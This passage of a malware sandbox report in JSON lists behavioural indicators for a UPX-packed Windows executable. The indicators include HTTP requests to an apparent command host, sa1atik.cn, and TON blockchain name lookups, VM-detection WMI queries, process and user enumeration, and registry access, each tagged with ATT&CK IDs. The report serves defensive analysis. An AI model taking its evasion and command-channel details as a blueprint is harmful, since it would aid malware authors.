like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$39","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" queries basic process information of the \"C:\\5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (UID: 1124)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" reads file \"c:\\windows\\syswow64\\wbem\\wbemdisp.tlb\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" reads file \"c:\\windows\\syswow64\\stdole2.tlb\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" trying to access non-existent file \"C:\\0956EBF8-1C1F-808A-2DE1-2465EB52F81C\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" trying to access non-existent file \"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00001124-00000C2C-3128497088\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001124-00000C2C-3128586296\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /sa1at/\"\n Found http requests in header \"GET /v2/dns/remoteadministratortool.ton/resolve\"\n Found http requests in header \"POST /route/1/mainnet/toncenter-api-v2/runGetMethod\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001124-00000C2C-3128428376\")\n Found reference to API \"WSARecvFrom\" (Indicator: \"WSARecv\"; Source: \"00000000-00001124-00000C2C-3129032812\")\n Found reference to API \"WSASendTo\" (Indicator: \"WSASend\"; Source: \"00000000-00001124-00000C2C-3129042648\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00001124-00000C2C-3129283765\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00001124-00000C2C-3129286310\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00001124-00000C2C-3128428376\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.35\"\n \"192.168.0.2\"\n \"192.168.0.1:53\"\n Potential IP \"1.1.1.1\" found in string \"https://1.1.1.1/dns-query?name=google.com\"\n Potential IP \"1.1.1.1\" found in string \"SQhttps://1.1.1.1/dns-query?name=google.com\"\n \"2.5.29.37\"\n \"2.5.29.17\"\n \"2.5.29.31\"\n Potential IP \"2.5.29.37\" found in string \"t?2.5.29.37\"\n Potential IP \"1.1.1.1\" found in string \"https://1.1.1.1/dns-query?name=dns.google\"\n \"0.0.0.0:0\"\n \"1.1.1.1:443\"\n \"1.1.1.1\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.14\"\n Potential IP \"1.1.1.1\" found in string \"https://dns.google/resolve?name=1.1.1.1\"\n Potential IPs \"1.1.1.1\"\n \"1.1.1.1\" found in string \"https://1.1.1.1/dns-query?name=1.1.1.1\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.32\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.10\"\n \"2.5.29.16\"\n \"192.168.0.1\"\n \"92.168.0.1\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3e","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 500 Internal Server Error\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 88\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\n\n GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 335\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\n\n GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1\nHost: tonapi.io\nUser-Agent: Go-http-client/1.1\nContent-Type: application/octet-stream\nAccept-Encoding: gzip\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"cloudflare-dns.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec\n Observed JA3 fingerprint: 1e93d985c806ca627b3b564ad06cc0c3\n Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"sa1atik.cn\" (12 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://sa1atik.cn/sa1at/\n Found HTTPS GET request to https://tonapi.io/v2/dns/remoteadministratortool.ton/resolve\n Found HTTPS POST request to https://ton.access.orbs.network/route/1/mainnet/toncenter-api-v2/runGetMethod","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"sa1atik.cn\" (89 days old)\n Short term registered certificate: \"tonapi.io\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"1.1.1.1\" on port \"443\"\n HTTPS traffic to \"104.16.249.249\" on port \"443\"\n HTTPS traffic to \"152.53.49.102\" on port \"443\"\n HTTPS traffic to \"172.66.170.210\" on port \"443\"\n HTTPS traffic to \"151.101.66.132\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE9DC93BCA2EC56F56BB942D447CFC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000000.264273.039D2000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE81414BB923A75C352775D517E0CC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001124.00000000.264273.039D2000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"662118,2432,3024,,RtlGetVersion,NTDLL.dll,\"01:08:49.203\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001124.00000000.264273.039D2000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"3\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"Process32FirstW\" (Indicator: \"Process32First\"; Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")\n Found reference to API \"[System Process]Process32NextW\" (Indicator: \"Process32Next\"; Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")\n Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"361028,7188,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"01:09:17.875\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp\")\n Found reference to API \"8858146,7188,3185,,GetAdaptersAddresses,Iphlpapi.dll,\"01:09:39.437\",RX=0,PX=0\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"$40","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001124.00000000.264273.03990000.00000004.mdmp, 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")\n Found string \"Name = \"Microsoft Windows 10 Pro|C:\\\\WINDOWS|\\\\Device\\\\Harddisk0\\\\Partition2\";\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")\n Found string \"SystemDevice = \"\\\\Device\\\\HarddiskVolume2\";\" (Indicator: \"\\Device\\\"; Source: \"00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$41","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00001124.00000000.264273.06000000.00000004.mdmp, 00000000-00001124.00000001.266193.06000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00001124.00000001.266193.03990000.00000004.mdmp, 00000000-00001124.00000002.268114.03990000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" was detected as \"UPX -> www.upx.sourceforge.net\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"ApplicationFrameHost.exeRuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"Section \"UPX0\" unusually large (9334784 bytes)\n possible junk padding","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"PE file has no resource directory","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has no resource directory","origin":"Static Parser","mitre_attack_id":"T1027.008","relevance":7,"id":"static-9002","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has a section named \"UPX0\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has a section named \"UPX1\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has a section named \"UPX2\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" has section name UPX1 with entropy \"7.999938940204468\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"39cb5e8\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"f815a303c094a003\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"291\"\n \"dwFlags\": \"0\"}\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"39cb698\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"b817a303cd26a9a4\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"283\"\n \"dwFlags\": \"0\"}\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"BCryptImportKeyPair\" with parameters {\"hAlgorithm\": \"39cb698\"\n \"pszBlobType\": \"RSAPUBLICBLOB\"\n \"phKey\": \"5814a3035d26a9a4\"\n \"pbInput\": \"RSA1\"\n \"cbInput\": \"283\"\n \"dwFlags\": \"0\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to retrieve the system language code","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" called \"NtQueryInstallUILanguage\" with parameters {\"LanguageId\": \"1033\"}","origin":"API Call","mitre_attack_id":"T1614.001","relevance":10,"id":"api-307","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Executes WMI queries known to be used for VM detection","description":"\"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"Select Name from Win32_VideoController\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select TotalPhysicalMemory from Win32_ComputerSystem\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select Name from Win32_Processor\"\n \"5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" issued a query \"select * from Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$42","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6ab936bead39e2b2010bf0c2"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\5169d3ed9f741f1fb2022a81ae25abd1bb6cfb78c7768c2c7def8a0125abb7c7.exe\" queried 